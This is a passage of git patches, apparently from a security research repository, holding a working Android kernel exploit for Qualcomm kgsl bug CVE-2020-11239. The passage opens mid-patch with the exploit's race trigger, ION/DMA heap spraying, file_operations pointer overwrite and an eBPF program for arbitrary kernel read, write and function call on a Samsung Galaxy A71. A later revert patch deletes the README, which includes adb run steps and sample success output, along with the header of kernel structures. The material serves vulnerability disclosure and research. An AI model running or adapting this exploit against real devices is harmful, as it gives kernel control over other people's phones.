+  if (pthread_create(&trigger_tid, NULL, trigger_uaf, &arg) != 0) {
+      err(1, "[-] pthread_create trigger");
+  }
+  int pipe_write[PIPE];
+  for (int i = 0; i < PIPE; i++) {
+    int pipe_fd[2];
+    pipe(pipe_fd);
+  
+    pthread_t rw_tid;
+    if (pthread_create(&rw_tid, NULL, read_pipe, &(pipe_fd[0])) != 0) {
+      err(1, "[-] pthread_create read");
+    }
+    pipe_write[i] = pipe_fd[1];
+    struct sched_param sched_par = {0};
+
+    if (pthread_setschedparam(rw_tid, SCHED_NORMAL, &sched_par) != 0) {
+      err(1, "[-] set priority for rw failed\n");
+    }
+  }
+
+  struct kgsl_gpuobj_import par2;
+  par2.flags = 0x1000;
+  par2.priv_len = 0x1000;
+  par2.id = kgsl_fd;
+#ifdef DMA_SPRAY
+  struct kgsl_gpuobj_import_dma_buf buf = {.fd = ion_alloc_fds[2]};
+  par2.type = KGSL_USER_MEM_TYPE_DMABUF;
+  par2.priv = (uint64_t)(&buf);
+#else
+  struct kgsl_gpuobj_import_useraddr useraddr2 = {.virtaddr = regions[MMAP_LEN - 1]};
+  par2.type = KGSL_USER_MEM_TYPE_ADDR;
+  par2.priv = (uint64_t)(&useraddr2);
+#endif
+
+  struct sched_param sched_par = {0};
+
+  if (pthread_setschedparam(trigger_tid, SCHED_IDLE, &sched_par) != 0) {
+    err(1, "[-] set priority for trigger failed\n");
+  }
+
+
+  char write_char;
+  write_char = 'a';
+
+  migrate_to_cpu(CPU0);
+
+  pthread_t import_tid;
+  if (pthread_create(&import_tid, NULL, gpu_import, &par2) != 0) {
+      err(1, "[-] pthread gpu_import");
+  }
+#ifdef SPRAY_1
+  pthread_t ion_map_tid;
+  if (pthread_create(&ion_map_tid, NULL, ion_map, &(ion_alloc_fds[1])) != 0) {
+      err(1, "[-] pthread_create ion_map");
+  }
+#endif
+  sleep(1);
+#ifndef SPRAY_1
+  ion_map(&(ion_alloc_fds[1]));
+#endif
+
+  ioctl(kgsl_fd, IOCTL_KGSL_GPUOBJ_IMPORT, &par);
+#ifdef SPRAY_1
+  g_map_now = 1;
+  sched_yield();
+  sleep(1);
+  while (!g_ion_regions[G_REGION_LEN - 1]);
+  for (int i = 0; i < G_REGION_LEN; i++) {
+    munmap((void*)(g_ion_regions[i]), 0x1000);
+  }
+#endif
+  g_import_now = 1;
+  sched_yield();
+  sleep(1);
+
+  struct kgsl_gpumem_free_id id = {.id = par2.id};
+  
+  g_trigger_now = 1;
+  for (int i = 0; i < PIPE; i++) {
+    write(pipe_write[i], &write_char, 1);
+  }
+  while (!g_unlocked_read);
+  ioctl(kgsl_fd, IOCTL_KGSL_GPUMEM_FREE_ID, &id);
+  g_realloc_now = 1;
+  sched_yield(); // don't run me, run the reallocator threads!
+  sleep(5);
+  g_finished_read = 1;
+
+  close(kgsl_fd);
+  struct msghdr mhdr;
+  unsigned int size = 0;
+  for (int i = 0; i < NB_REALLOC_THREADS; i++) {
+	  while (size == 0) {
+		if ((size = recvmsg(rta[i].recv_fd, &mhdr, MSG_DONTWAIT)) < 0) {
+		  err(1, "receive");
+		}
+	  }
+      size = 0;
+  }
+  if (trigger_time < TRIGGER_THRESH) {
+    printf("[-] Failed to win the race\n");
+  } else {
+    printf("[+] Read/Write operation succeeded\n");
+  }
+  for (int i = 0; i < PIPE; i++) {
+    close(pipe_write[i]);
+  }
+  reset_globals();
+}
+
+size_t compute_ion_region_size() {
+  return (1 << ORDER) -  0x1000 * (VMAS_LEN + 2);
+}
+
+int init_tmp_region(int ion_fd, char** tmp_ion_regions, char** ion_region) {
+  int ion_alloc_fd = -1;
+
+  struct ion_allocation_data ion_alloc_data;
+  ion_alloc_data.len = 1 << ORDER;
+  ion_alloc_data.flags = 1;
+  ion_alloc_data.heap_id_mask = ION_HEAP(25);
+
+  if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) {
+    err(1, "ION_IOC_ALLOC 1 failed\n");
+  }
+  
+  ion_alloc_fd = ion_alloc_data.fd;
+  if (ion_alloc_data.len < 0x1000 * (VMAS_LEN + 2)) {
+    err(1, "VMAS_LEN too large\n");
+  }
+
+  size_t ion_region_size0 = compute_ion_region_size();
+
+  tmp_ion_regions[0] = mmap(NULL, ion_region_size0, PROT_READ | PROT_WRITE, MAP_SHARED, ion_alloc_data.fd, 0x1000);
+  if (tmp_ion_regions[0] == MAP_FAILED) {
+    err(1, "map failed tmp region 0");
+  }
+
+  *ion_region = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, ion_alloc_data.fd, 0x2000);
+  if (ion_region == MAP_FAILED) {
+    err(1, "map failed");
+  }
+
+  for (int i = 0; i < VMAS_LEN; i++) {
+    tmp_ion_regions[i + 1] = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, ion_alloc_data.fd, ion_alloc_data.len -  0x1000 * (VMAS_LEN - i));
+    if (tmp_ion_regions[i + 1] == MAP_FAILED) {
+      err(1, "map tmp failed %d", i);
+    }
+  }
+  return ion_alloc_fd;
+}
+
+int main() {
+  setbuf(stdout, NULL);
+  setbuf(stderr, NULL);
+  int ion_alloc_fds[3];
+
+  struct bounce_buffer_param p;
+  allocate_bounce_buffer(&p);
+
+  uint64_t regions[MMAP_LEN];
+  for (int i = 0; i < MMAP_LEN; i++) {
+    regions[i] = (uint64_t)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
+    if ((void*)(regions[i]) == MAP_FAILED) {
+      err(1, "mmap %d failed", i);
+    }
+  }
+  
+  char* ion_region;
+  char* tmp_ion_regions[VMAS_LEN + 1];
+
+  int ion_fd = open("/dev/ion", O_RDONLY);
+  if (ion_fd == -1) {
+    err(1, "cannot open ion\n");
+  }
+
+  struct ion_allocation_data ion_alloc_data2;
+  ion_alloc_data2.len = 0x1000 * G_REGION_LEN;
+  ion_alloc_data2.flags = 1;
+  ion_alloc_data2.heap_id_mask = ION_HEAP(19);
+
+  if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data2) < 0) {
+    err(1, "ION_IOC_ALLOC 2 failed\n");
+  }
+
+  ion_alloc_fds[1] = ion_alloc_data2.fd;
+#ifdef DMA_SPRAY
+  struct ion_allocation_data ion_alloc_data3;
+  ion_alloc_data3.len = 0x1000 * NENTS;
+  ion_alloc_data3.flags = 1;
+  ion_alloc_data3.heap_id_mask = ION_HEAP(25);
+
+  if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data3) < 0) {
+    err(1, "ION_IOC_ALLOC failed bounce 1\n");
+  }
+  ion_alloc_fds[2] = ion_alloc_data3.fd;
+#endif
+  size_t ion_region_size0 = compute_ion_region_size();
+  for (int i = 0; i < 5; i++) {
+    ion_alloc_fds[0] = init_tmp_region(ion_fd, &(tmp_ion_regions[0]), &ion_region);
+    do_one_rw(DMA_ADDRESS, SYS_LEN * BOUNCE_LEN, regions, ion_region, &(ion_alloc_fds[0]), 0);
+    sleep(1);
+    sync_bounce_buffers(0);
+    
+    printf("done read %d\n", i);
+    if (trigger_time > TRIGGER_THRESH) {
+#ifdef DEBUG_MEM_DUMP
+      dump_memory(i);
+#endif     
+      int null_region_index = find_null_fops();
+      int dma_region_index = find_dma_fops();
+      int region_index = -1;
+      enum region_type type;
+      if (null_region_index != -1 && dma_region_index != -1) {
+        if (null_region_index < dma_region_index) {
+          region_index = null_region_index;
+          type = null;
+        } else {
+          region_index = dma_region_index;
+          type = dma;
+        }
+        
+      } else if (null_region_index != -1) {
+          region_index = null_region_index;
+          type = null;
+      } else if (dma_region_index != -1) {
+          region_index = dma_region_index;
+          type = dma;
+      }
+
+      if (region_index != -1) {
+        if (region_index < 2) {
+          err(1, "region index calculation error\n");
+        }
+        unsigned long* fops = (unsigned long*)(&(ion_sys_regions[1][0]));
+        for (int i = 0; i < 10; i++) {
+          fops[i] = bpf_addr;
+        }
+        sync_bounce_buffers(1);
+        unsigned long bpf_data_address = ion_addr + 2048;
+        unsigned long __bpf_call_base = bpf_addr - BPF_TO_BASE;
+        unsigned long* bpf_data = (unsigned long*)(&(ion_sys_regions[1][2048]));
+        trigger_time = 0;
+//-------BPF program, from https://googleprojectzero.blogspot.com/2020/12/an-ios-hacker-tries-android.html -------------------------------------------------------
+        //bpf program to run
+		struct bpf_insn insn[] = {
+			// Load base address.
+			/*  0 */ BPF_LD_IMM64(BPF_REG_6, bpf_data_address),
+
+			// Load R7 = (in:data + 0); this is the operation to perform.
+			/*  2 */ BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, bpf_op_offset),
+
+			// Check if this operation is 'r'.
+			/*  3 */ BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 'r', +4),
+			// Load R1 = *(in:data + 8); this is the read address.
+			/*  4 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, bpf_rw_addr_offset),
+			// Load R1 = *R1.
+			/*  5 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_1, 0),
+			// Store *(out:data + 8) = R1.
+			/*  6 */ BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_1, bpf_out_offset),
+			// Done.
+			/*  7 */ BPF_JMP_A(13),
+
+			// Check if this operation is 'w'.
+			/*  8 */ BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 'w', +4),
+			// Load R1 = *(in:data + 8); this is the write address.
+			/*  9 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, bpf_rw_addr_offset),
+			// Load R2 = *(in:data + 10); this is the value to write.
+			/* 10 */ BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_6, bpf_arg0),
+			// Store *R1 = R2.
+			/* 11 */ BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_2, 0),
+			// Done.
+			/* 12 */ BPF_JMP_A(8),
+
+			// Check if this operation is 'x'.
+			/* 13 */ BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 'x', +7),
+			// Load R1 = *(in:data + 10); this is the first argument.
+			/* 14 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, bpf_arg0),
+			// Load R2 = *(in:data + 18); this is the second argument.
+			/* 15 */ BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_6, bpf_arg1),
+			// Load R3 = *(in:data + 20); this is the third argument.
+			/* 16 */ BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_6, bpf_arg2),
+			// Load R4 = *(in:data + 28); this is the fourth argument.
+			/* 17 */ BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_6, bpf_arg3),
+			// Load R5 = *(in:data + 30); this is the fifth argument.
+			/* 18 */ BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_6, bpf_arg4),
+			// Call R0 = function(R1, R2, R3, R4, R5). This call gets patched.
+			/* 19 */ BPF_EMIT_CALL(__bpf_call_base - 4),
+			// Store *(out:data + 8) = R0.
+			/* 20 */ BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x108),
+			// Done. Fallthrough.
+
+			// Store *(out:data + 0) = R7, i.e., record the operation that we just executed.
+			/* 21 */ BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0x100),
+		};
+//------------------------------------------------------------------------------------------------------------------
+        while (1) {
+          ion_alloc_fds[0] = init_tmp_region(ion_fd, &(tmp_ion_regions[0]), &ion_region);
+		  do_one_rw(DMA_ADDRESS, SYS_LEN * (region_index + 1), regions, ion_region, &(ion_alloc_fds[0]), 1);
+       printf("running bpf program\n");
+        
+        unsigned long bpf_insn_addr = ion_addr + 1024;
+        memcpy(&(ion_sys_regions[1][1024]), insn, sizeof(insn));
+        bpf_data[128] = 12345;
+        //set up read
+		bpf_data[bpf_op_offset/8] = 'r';
+        bpf_data[bpf_rw_addr_offset/8] = bpf_data_address + 1024;
+        switch(type) {
+          case null:
+            for (int i = 0; i < SLAB_LEN; i++) {
+              lseek64(p.null_fds[i], bpf_insn_addr, 0);
+            }
+            break;
+          case dma:
+            for (int i = 0; i < REGIONS_LEN_1; i++) {
+              lseek64(ion_sys_fds[i], bpf_insn_addr, 0);
+            }
+            for (int i = 0; i < REGIONS_LEN_2; i++) {
+              lseek64(ion_sys_fds2[i], bpf_insn_addr, 0);
+            }
+            break;
+          default:
+            break;
+        }
+        printf("bpf_data 0x%lx\n", bpf_data[bpf_out_offset/8]);
+        if (bpf_data[bpf_out_offset/8] == 12345) {
+          printf("[+] successful read\n");
+          break;
+        }
+      }
+      break;
+      }
+    }
+    munmap(tmp_ion_regions[0], ion_region_size0);
+    munmap(ion_region, 0x1000);
+    for (int i = 0; i < VMAS_LEN; i++) {
+      munmap(tmp_ion_regions[i + 1], 0x1000);
+    }
+    sleep(5);
+  }
+
+  for (int i = 0; i < 3; i++) {
+    close(ion_alloc_fds[i]);
+  }
+
+  close(ion_fd);
+  
+  for (int i = 0; i < BOUNCE_LEN; i++) {
+    munmap(bounce_regions[i], SYS_LEN);
+  }
+}

From 6ace0a239f7e25f95c71cff43833e9ad40d997d8 Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Mon, 8 Mar 2021 09:55:55 -0800
Subject: [PATCH 027/104] Revert "Blog material"

---
 .../Android/Qualcomm/CVE-2020-11239/README.md |   62 -
 .../Qualcomm/CVE-2020-11239/kgsl_exploit.h    |  546 ---------
 .../CVE-2020-11239/kgsl_exploit_slab_a71.c    | 1047 -----------------
 3 files changed, 1655 deletions(-)
 delete mode 100644 SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md
 delete mode 100644 SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h
 delete mode 100644 SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c

diff --git a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md
deleted file mode 100644
index 17efd5d..0000000
--- a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md
+++ /dev/null
@@ -1,62 +0,0 @@
-## Exploit for Qualcomm CVE-2020-11239
-
-The write up can be found [here](https://securitylab.github.com/research/one_day_short_of_a_fullchain_android). This is a bug in the Qualcomm kgsl driver I reported in July 2020. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2020-375-kgsl). The bug can be used to gain arbitrary kernel code execution, read and write from the untrusted app domain.
-
-The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXUATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit refers to that version of the firmware. For different models of phones, the macro `DMA_ADDRESS`, which indicates the address of the SWIOTLB buffer, will also need to be changed.
-
-The exploit is reasonably reliable, although it does need to wait a few minutes after start up, after the kernel activities settled down before running.
-
-The most likely cause of failure is when it failed to locate the file structs after 5 retries. In this case there is no adverse effect and the phone will not crash. However, running the exploit immediately is unlikely to succeed and it usually requires waiting for a bit or doing something else to reorganize the heap before running it again.
-
-To test, cross compile the file `kgsl_exploit_slab_a71.c` and then execute with `adb`:
-
-```
-adb push kgsl_exploit_slab_a71 /data/local/tmp
-adb shell
-a71:/ $ /data/local/tmp/kgsl_exploit_slab_a71
-```
-
-If succeeded, it will run a eBPF program to write and read to an address and confirm the successful read and write:
-
-```
-rpc opened
-[+] reallocation data initialized!
-[ ] initializing reallocation threads, please wait...
-[+] 8 reallocation threads ready!
-micros_used: 19432
-[+] REALLOC THREAD finished
-[+] REALLOC THREAD finished
-[+] REALLOC THREAD finished
-[+] REALLOC THREAD finished
-[+] REALLOC THREAD finished
-[+] REALLOC THREAD finished
-[+] REALLOC THREAD finished
-[+] REALLOC THREAD finished
-[+] Read/Write operation succeeded
-[+] syncing bounce buffers
-done read 0
-[+] Found null_fops at 2 region offset 32 ffffff80099d9788
-null file addr: ffffffc12a993058
-[+] ion region location: ffffffc12a992000
-[+] bpf addr: ffffff8008317088
-overwrite fops ffffff80099d9788
-overwrite fops 0
-[-] Failed to find dma_buf_fops
-[+] syncing bounce buffers
-[+] reallocation data initialized!
-[ ] initializing reallocation threads, please wait...
-[+] 8 reallocation threads ready!
-micros_used: 19938
-[+] REALLOC THREAD finished
-[+] REALLOC THREAD finished
-[+] REALLOC THREAD finished
-[+] REALLOC THREAD finished
-[+] REALLOC THREAD finished
-[+] REALLOC THREAD finished
-[+] REALLOC THREAD finished
-[+] REALLOC THREAD finished
-[+] Read/Write operation succeeded
-running bpf program
-bpf_data 0x3039
-[+] successful read
-```
diff --git a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h
deleted file mode 100644
index dc1022e..0000000
--- a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h
+++ /dev/null
@@ -1,546 +0,0 @@
-#ifndef KGSL_EXPLOIT_H
-#define KGSL_EXPLOIT_H
-
-#include <linux/bpf.h>
-
-//---------------------------ION-------------------------------------------------------------------
-
-enum ion_heap_ids {
-	INVALID_HEAP_ID = -1,
-	ION_CP_MM_HEAP_ID = 8,
-	ION_SECURE_HEAP_ID = 9,
-	ION_SECURE_DISPLAY_HEAP_ID = 10,
-	ION_CP_MFC_HEAP_ID = 12,
-	ION_SPSS_HEAP_ID = 13, /* Secure Processor ION heap */
-	ION_SECURE_CARVEOUT_HEAP_ID = 14,
-	ION_CP_WB_HEAP_ID = 16, /* 8660 only */
-	ION_QSECOM_TA_HEAP_ID = 19,
-	ION_CAMERA_HEAP_ID = 20, /* 8660 only */
-	ION_SYSTEM_CONTIG_HEAP_ID = 21,
-	ION_ADSP_HEAP_ID = 22,
-	ION_PIL1_HEAP_ID = 23, /* Currently used for other PIL images */
-	ION_SF_HEAP_ID = 24,
-	ION_SYSTEM_HEAP_ID = 25,
-	ION_PIL2_HEAP_ID = 26, /* Currently used for modem firmware images */
-	ION_QSECOM_HEAP_ID = 27,
-	ION_AUDIO_HEAP_ID = 28,
-
-	ION_MM_FIRMWARE_HEAP_ID = 29,
-	ION_GOOGLE_HEAP_ID = 30,
-
-	ION_HEAP_ID_RESERVED = 31 /** Bit reserved for ION_FLAG_SECURE flag */
-};
-
-enum ion_heap_type {
-	ION_HEAP_TYPE_SYSTEM,
-	ION_HEAP_TYPE_SYSTEM_CONTIG,
-	ION_HEAP_TYPE_CARVEOUT,
-	ION_HEAP_TYPE_CHUNK,
-	ION_HEAP_TYPE_DMA,
-	ION_HEAP_TYPE_CUSTOM, /*
-			       * must be last so device specific heaps always
-			       * are at the end of this enum
-			       */
-	ION_NUM_HEAPS = 16,
-};
-
-#define ION_HEAP_SYSTEM_MASK		((1 << ION_HEAP_TYPE_SYSTEM))
-#define ION_HEAP_SYSTEM_CONTIG_MASK	((1 << ION_HEAP_TYPE_SYSTEM_CONTIG))
-#define ION_HEAP_CARVEOUT_MASK		((1 << ION_HEAP_TYPE_CARVEOUT))
-#define ION_HEAP_TYPE_DMA_MASK		((1 << ION_HEAP_TYPE_DMA))
-
-#define ION_NUM_HEAP_IDS		(sizeof(unsigned int) * 8)
-#define ION_FLAG_CACHED 1		
-#define ION_FLAG_CACHED_NEEDS_SYNC 2	
-struct ion_allocation_data {
-	size_t len;
-	unsigned int heap_id_mask;
-	unsigned int flags;
-    uint32_t fd;
-    uint32_t unused;
-};
-
-struct ion_custom_data {
-	unsigned int cmd;
-	unsigned long arg;
-};
-
-#define VM_MAYWRITE	0x00000020
-
-/* ioctls */
-#define KGSL_IOC_TYPE 0x09
-
-#define IOCTL_KGSL_GPUOBJ_IMPORT \
-	_IOWR(KGSL_IOC_TYPE, 0x48, struct kgsl_gpuobj_import)
-
-#define ION_IOC_MAGIC		'I'
-
-#define ION_IOC_ALLOC		_IOWR(ION_IOC_MAGIC, 0, \
-				      struct ion_allocation_data)
-
-#define ION_IOC_FREE		_IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
-
-#define ION_IOC_MAP		_IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data)
-
-#define ION_IOC_SHARE		_IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data)
-
-#define ION_IOC_IMPORT		_IOWR(ION_IOC_MAGIC, 5, struct ion_fd_data)
-
-#define ION_IOC_SYNC		_IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data)
-
-#define ION_IOC_CUSTOM		_IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data)
-
-#define ION_BIT(nr) (1UL << (nr))
-
-#define ION_HEAP(bit)			ION_BIT(bit)
-
-//---------------------------------KGSL------------------------------------------------------------
-
-#define KGSL_MEMFLAGS_USE_CPU_MAP 0x10000000ULL
-
-enum kgsl_user_mem_type {
-	KGSL_USER_MEM_TYPE_PMEM		= 0x00000000,
-	KGSL_USER_MEM_TYPE_ASHMEM	= 0x00000001,
-	KGSL_USER_MEM_TYPE_ADDR		= 0x00000002,
-	KGSL_USER_MEM_TYPE_ION		= 0x00000003,
-	/*
-	 * ION type is retained for backwards compatibility but Ion buffers are
-	 * dma-bufs so try to use that naming if we can
-	 */
-	KGSL_USER_MEM_TYPE_DMABUF       = 0x00000003,
-	KGSL_USER_MEM_TYPE_MAX		= 0x00000007,
-};
-
-struct kgsl_gpuobj_import {
-	uint64_t __user priv;
-	uint64_t priv_len;
-	uint64_t flags;
-	unsigned int type;
-	unsigned int id;
-};
-
-struct kgsl_gpuobj_import_dma_buf {
-	int fd;
-};
-
-struct kgsl_gpuobj_import_useraddr {
-	uint64_t virtaddr;
-};
-
-struct kgsl_gpuobj_free {
-	uint64_t flags;
-	uint64_t __user priv;
-	unsigned int id;
-	unsigned int type;
-	unsigned int len;
-};
-
-#define KGSL_GPUOBJ_FREE_ON_EVENT 1
-
-#define KGSL_GPU_EVENT_TIMESTAMP 1
-#define KGSL_GPU_EVENT_FENCE     2
-
-struct kgsl_gpu_event_timestamp {
-	unsigned int context_id;
-	unsigned int timestamp;
-};
-
-struct kgsl_gpu_event_fence {
-	int fd;
-};
-
-struct kgsl_gpumem_free_id {
-	unsigned int id;
-/* private: reserved for future use*/
-	unsigned int __pad;
-};
-
-#define IOCTL_KGSL_GPUMEM_FREE_ID _IOWR(KGSL_IOC_TYPE, 0x35, struct kgsl_gpumem_free_id)
-
-#define IOCTL_KGSL_GPUOBJ_FREE \
-	_IOW(KGSL_IOC_TYPE, 0x46, struct kgsl_gpuobj_free)
-
-struct dma_buf_sync {
-	__u64 flags;
-};
-
-#define DMA_BUF_SYNC_READ      (1 << 0)
-#define DMA_BUF_SYNC_WRITE     (2 << 0)
-#define DMA_BUF_SYNC_RW        (DMA_BUF_SYNC_READ | DMA_BUF_SYNC_WRITE)
-#define DMA_BUF_SYNC_START     (0 << 2)
-#define DMA_BUF_SYNC_END       (1 << 2)
-#define DMA_BUF_SYNC_USER_MAPPED       (1 << 3)
-
-#define DMA_BUF_SYNC_VALID_FLAGS_MASK \
-	(DMA_BUF_SYNC_RW | DMA_BUF_SYNC_END)
-
-#define DMA_BUF_BASE		'b'
-#define DMA_BUF_IOCTL_SYNC	_IOW(DMA_BUF_BASE, 0, struct dma_buf_sync)
-
-#define KGSL_MEMFLAGS_FORCE_32BIT 0x100000000ULL
-
-//-----------------------ADSPRPC----------------------------------------------------
-
-/* Retrives number of input buffers from the scalars parameter */
-#define REMOTE_SCALARS_INBUFS(sc)        (((sc) >> 16) & 0x0ff)
-
-/* Retrives number of output buffers from the scalars parameter */
-#define REMOTE_SCALARS_OUTBUFS(sc)       (((sc) >> 8) & 0x0ff)
-
-/* Retrives number of input handles from the scalars parameter */
-#define REMOTE_SCALARS_INHANDLES(sc)     (((sc) >> 4) & 0x0f)
-
-/* Retrives number of output handles from the scalars parameter */
-#define REMOTE_SCALARS_OUTHANDLES(sc)    ((sc) & 0x0f)
-
-#define REMOTE_SCALARS_LENGTH(sc)	(REMOTE_SCALARS_INBUFS(sc) +\
-					REMOTE_SCALARS_OUTBUFS(sc) +\
-					REMOTE_SCALARS_INHANDLES(sc) +\
-					REMOTE_SCALARS_OUTHANDLES(sc))
-
-#define REMOTE_SCALARS_MAKEX(attr, method, in, out, oin, oout) \
-		((((uint32_t)   (attr) & 0x7) << 29) | \
-		(((uint32_t) (method) & 0x1f) << 24) | \
-		(((uint32_t)     (in) & 0xff) << 16) | \
-		(((uint32_t)    (out) & 0xff) <<  8) | \
-		(((uint32_t)    (oin) & 0x0f) <<  4) | \
-		((uint32_t)   (oout) & 0x0f))
-
-#define REMOTE_SCALARS_MAKE(method, in, out) \
-		REMOTE_SCALARS_MAKEX(0, method, in, out, 0, 0)
-
-
-#ifndef VERIFY_PRINT_ERROR
-#define VERIFY_EPRINTF(format, args) (void)0
-#endif
-
-#ifndef VERIFY_PRINT_INFO
-#define VERIFY_IPRINTF(args) (void)0
-#endif
-
-#ifndef VERIFY
-#define __STR__(x) #x ":"
-#define __TOSTR__(x) __STR__(x)
-#define __FILE_LINE__ __FILE__ ":" __TOSTR__(__LINE__)
-
-#define VERIFY(err, val) \
-do {\
-	VERIFY_IPRINTF(__FILE_LINE__"info: calling: " #val "\n");\
-	if ((val) == 0) {\
-		(err) = (err) == 0 ? -1 : (err);\
-		VERIFY_EPRINTF(__FILE_LINE__"error: %d: " #val "\n", (err));\
-	} else {\
-		VERIFY_IPRINTF(__FILE_LINE__"info: passed: " #val "\n");\
-	} \
-} while (0)
-#endif
-
-#define remote_arg64_t    union remote_arg64
-
-struct remote_buf64 {
-	uint64_t pv;
-	uint64_t len;
-};
-
-struct remote_dma_handle64 {
-	int fd;
-	uint32_t offset;
-	uint32_t len;
-};
-
-union remote_arg64 {
-	struct remote_buf64	buf;
-	struct remote_dma_handle64 dma;
-	uint32_t h;
-};
-
-#define remote_arg_t    union remote_arg
-
-struct remote_buf {
-	void *pv;		/* buffer pointer */
-	size_t len;		/* length of buffer */
-};
-
-struct remote_dma_handle {
-	int fd;
-	uint32_t offset;
-};
-
-union remote_arg {
-	struct remote_buf buf;	/* buffer info */
-	struct remote_dma_handle dma;
-	uint32_t h;		/* remote handle */
-};
-
-struct fastrpc_ioctl_invoke {
-	uint32_t handle;	/* remote handle */
-	uint32_t sc;		/* scalars describing the data */
-	remote_arg_t *pra;	/* remote arguments list */
-};
-
-struct fastrpc_ioctl_invoke_fd {
-	struct fastrpc_ioctl_invoke inv;
-	int *fds;		/* fd list */
-};
-
-struct fastrpc_ioctl_invoke_attrs {
-	struct fastrpc_ioctl_invoke inv;
-	int *fds;		/* fd list */
-	unsigned int *attrs;	/* attribute list */
-};
-
-struct fastrpc_ioctl_invoke_crc {
-	struct fastrpc_ioctl_invoke inv;
-	int *fds;		/* fd list */
-	unsigned int *attrs;	/* attribute list */
-	unsigned int *crc;
-};
-
-struct fastrpc_ioctl_init {
-	uint32_t flags;		/* one of FASTRPC_INIT_* macros */
-	uintptr_t file;		/* pointer to elf file */
-	uint32_t filelen;	/* elf file length */
-	int32_t filefd;		/* ION fd for the file */
-	uintptr_t mem;		/* mem for the PD */
-	uint32_t memlen;	/* mem length */
-	int32_t memfd;		/* ION fd for the mem */
-};
-
-struct fastrpc_ioctl_init_attrs {
-		struct fastrpc_ioctl_init init;
-		int attrs;
-		unsigned int siglen;
-};
-
-struct fastrpc_ioctl_munmap {
-	uintptr_t vaddrout;	/* address to unmap */
-	size_t size;		/* size */
-};
-
-struct fastrpc_ioctl_munmap_64 {
-	uint64_t vaddrout;	/* address to unmap */
-	size_t size;		/* size */
-};
-
-struct fastrpc_ioctl_mmap {
-	int fd;					/* ion fd */
-	uint32_t flags;			/* flags for dsp to map with */
-	uintptr_t vaddrin;		/* optional virtual address */
-	size_t size;			/* size */
-	uintptr_t vaddrout;		/* dsps virtual address */
-};
-
-struct fastrpc_ioctl_mmap_64 {
-	int fd;				/* ion fd */
-	uint32_t flags;			/* flags for dsp to map with */
-	uint64_t vaddrin;		/* optional virtual address */
-	size_t size;			/* size */
-	uint64_t vaddrout;		/* dsps virtual address */
-};
-
-struct fastrpc_ioctl_munmap_fd {
-	int     fd;				/* fd */
-	uint32_t  flags;		/* control flags */
-	uintptr_t va;			/* va */
-	ssize_t  len;			/* length */
-};
-
-struct fastrpc_ioctl_perf {			/* kernel performance data */
-	uintptr_t data;
-	uint32_t numkeys;
-	uintptr_t keys;
-};
-
-
-#define FASTRPC_IOCTL_INVOKE	_IOWR('R', 1, struct fastrpc_ioctl_invoke)
-#define FASTRPC_IOCTL_MMAP	_IOWR('R', 2, struct fastrpc_ioctl_mmap)
-#define FASTRPC_IOCTL_MUNMAP	_IOWR('R', 3, struct fastrpc_ioctl_munmap)
-#define FASTRPC_IOCTL_MMAP_64	_IOWR('R', 14, struct fastrpc_ioctl_mmap_64)
-#define FASTRPC_IOCTL_MUNMAP_64	_IOWR('R', 15, struct fastrpc_ioctl_munmap_64)
-#define FASTRPC_IOCTL_INVOKE_FD	_IOWR('R', 4, struct fastrpc_ioctl_invoke_fd)
-#define FASTRPC_IOCTL_SETMODE	_IOWR('R', 5, uint32_t)
-#define FASTRPC_IOCTL_INIT	_IOWR('R', 6, struct fastrpc_ioctl_init)
-#define FASTRPC_IOCTL_INVOKE_ATTRS \
-				_IOWR('R', 7, struct fastrpc_ioctl_invoke_attrs)
-#define FASTRPC_IOCTL_GETINFO	_IOWR('R', 8, uint32_t)
-#define FASTRPC_IOCTL_GETPERF	_IOWR('R', 9, struct fastrpc_ioctl_perf)
-#define FASTRPC_IOCTL_INIT_ATTRS _IOWR('R', 10, struct fastrpc_ioctl_init_attrs)
-#define FASTRPC_IOCTL_INVOKE_CRC _IOWR('R', 11, struct fastrpc_ioctl_invoke_crc)
